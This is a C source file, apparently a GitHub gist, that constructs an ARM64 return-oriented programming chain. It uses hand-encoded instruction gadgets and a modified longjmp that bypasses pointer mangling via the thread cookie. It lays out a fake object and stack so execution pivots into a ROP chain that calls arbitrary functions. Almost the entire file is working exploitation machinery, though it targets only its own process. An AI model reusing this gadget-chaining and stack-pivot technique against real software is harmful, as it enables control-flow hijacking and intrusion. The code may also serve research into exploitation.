| #include <stdio.h> | |
| #include <stdlib.h> | |
| #define L(x) ((x) / 8) | |
| #define GADGET(name, insns) \ | |
| extern int name[]; \ | |
| __asm(".globl _" #name "\n" \ | |
| ".p2align 2\n" \ | |
| "_" #name ":\n" \ | |
| insns) | |
| typedef void (*kickstart_t)(unsigned long *data, unsigned long x1) __attribute__((noreturn)); | |
| GADGET(gadget_mov_x19x20_x0x1, | |
| ".word 0xaa0103f4\n" // mov x20, x1 | |
| ".word 0xaa0003f3\n" // mov x19, x0 | |
| ".word 0xf9400268\n" // ldr x8, [x19] | |
| ".word 0xf9405d08\n" // ldr x8, [x8, #0xb8] | |
| ".word 0xd63f0100\n" // blr x8 | |
| ); | |
| GADGET(gadget_push_x19_x20, | |
| ".word 0xa9bb67fa\n" // stp x26, x25, [sp, #-0x50]! | |
| ".word 0xa9015ff8\n" // stp x24, x23, [sp, #0x10] | |
| ".word 0xa90257f6\n" // stp x22, x21, [sp, #0x20] | |
| ".word 0xa9034ff4\n" // stp x20, x19, [sp, #0x30] | |
| ".word 0xa9047bfd\n" // stp x29, x30, [sp, #0x40] | |
| ".word 0x910103fd\n" // add x29, sp, #0x40 | |
| ".word 0xaa0203f3\n" // mov x19, x2 | |
| ".word 0xaa0103f4\n" // mov x20, x1 | |
| ".word 0xaa0003f6\n" // mov x22, x0 | |
| ".word 0xf94002c8\n" // ldr x8, [x22] | |
| ".word 0xf9404908\n" // ldr x8, [x8, #0x90] | |
| ".word 0xd63f0100\n" // blr x8 | |
| ); | |
| GADGET(gadget_jmp_1arg, | |
| ".word 0xf9400c08\n" // ldr x8, [x0, #0x18] | |
| ".word 0xb40001a8\n" // cbz x8, ??? | |
| ".word 0xf9400800\n" // ldr x0, [x0, #0x10] | |
| ".word 0xd63f0100\n" // blr x8 | |
| ); | |
| GADGET(gadget_jmp_x16, | |
| ".word 0xaa0003f0\n" // mov x16, x0 | |
| ".word 0xa8c11be7\n" // ldp x7, x6, [sp], #0x10 | |
| ".word 0xa8c113e5\n" // ldp x5, x4, [sp], #0x10 | |
| ".word 0xa8c10be3\n" // ldp x3, x2, [sp], #0x10 | |
| ".word 0xa8c103e1\n" // ldp x1, x0, [sp], #0x10 | |
| ".word 0xa8c17bfd\n" // ldp x29, x30, [sp], #0x10 | |
| ".word 0xd61f0200\n" // br x16 | |
| ); | |
| GADGET(my_longjmp, | |
| ".word 0xd53bd070\n" // mrs x16, tpidrro_el0 | |
| ".word 0x927df210\n" // and x16, x16, #0xfffffffffffffff8 | |
| ".word 0xf9401e10\n" // ldr x16, [x16, #0x38] | |
| ".word 0xa9405013\n" // ldp x19, x20, [x0] | |
| ".word 0xa9415815\n" // ldp x21, x22, [x0, #0x10] | |
| ".word 0xa9426017\n" // ldp x23, x24, [x0, #0x20] | |
| ".word 0xa9436819\n" // ldp x25, x26, [x0, #0x30] | |
| ".word 0xa944701b\n" // ldp x27, x28, [x0, #0x40] | |
| ".word 0xa9452c0a\n" // ldp x10, x11, [x0, #0x50] | |
| ".word 0xf940300c\n" // ldr x12, [x0, #0x60] | |
| ".word 0x6d472408\n" // ldp d8, d9, [x0, #0x70] | |
| ".word 0x6d482c0a\n" // ldp d10, d11, [x0, #0x80] | |
| ".word 0x6d49340c\n" // ldp d12, d13, [x0, #0x90] | |
| ".word 0x6d4a3c0e\n" // ldp d14, d15, [x0, #0xa0] | |
| ".word 0xca10015d\n" // eor x29, x10, x16 | |
| ".word 0xca10017e\n" // eor x30, x11, x16 | |
| ".word 0xca10018c\n" // eor x12, x12, x16 | |
| ".word 0x9100019f\n" // mov sp, x12 | |
| ".word 0x7100003f\n" // cmp w1, #0 | |
| ".word 0x1a9f1420\n" // csinc w0, w1, wzr, ne | |
| ".word 0xd65f03c0\n" // ret | |
| ); | |
| #ifdef TEST | |
| GADGET(gadget_nop, | |
| ".word 0xa8c17bfd\n" // ldp x29, x30, [sp], #0x10 | |
| ".word 0xd65f03c0\n" // ret | |
| ); | |
| #include "rope.h" | |
| #define FIRST gadget_nop | |
| #else | |
| #define FIRST exit | |
| #endif | |
| #define COOKIE (unsigned long)(my_longjmp + 3) // skip longjmp x16 reload | |
| int | |
| main(void) | |
| { | |
| unsigned long *strip = calloc(1, 65536); | |
| unsigned long *jstrip = strip; | |
| unsigned long *rstrip = jstrip + 4096; | |
| jstrip[L(0x00)] = (unsigned long)jstrip; | |
| jstrip[L(0xb8)] = (unsigned long)gadget_push_x19_x20; | |
| jstrip[L(0x90)] = (unsigned long)gadget_jmp_1arg; | |
| jstrip[L(0x10)] = COOKIE; | |
| jstrip[L(0x18)] = (unsigned long)gadget_jmp_x16; | |
| //jstrip[L(0x50)] = COOKIE; // bp | |
| jstrip[L(0x58)] = (unsigned long)FIRST ^ COOKIE; // lr | |
| jstrip[L(0x60)] = (unsigned long)rstrip ^ COOKIE; // sp | |
| #ifdef TEST | |
| fcall3v(printf, "OHAI %s\n", 0, 0, "ROP"); | |
| fcall3(exit, 42, 0, 0); | |
| #endif | |
| ((kickstart_t)gadget_mov_x19x20_x0x1)(jstrip, 2); // x1 is not technically required | |
| return 3; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment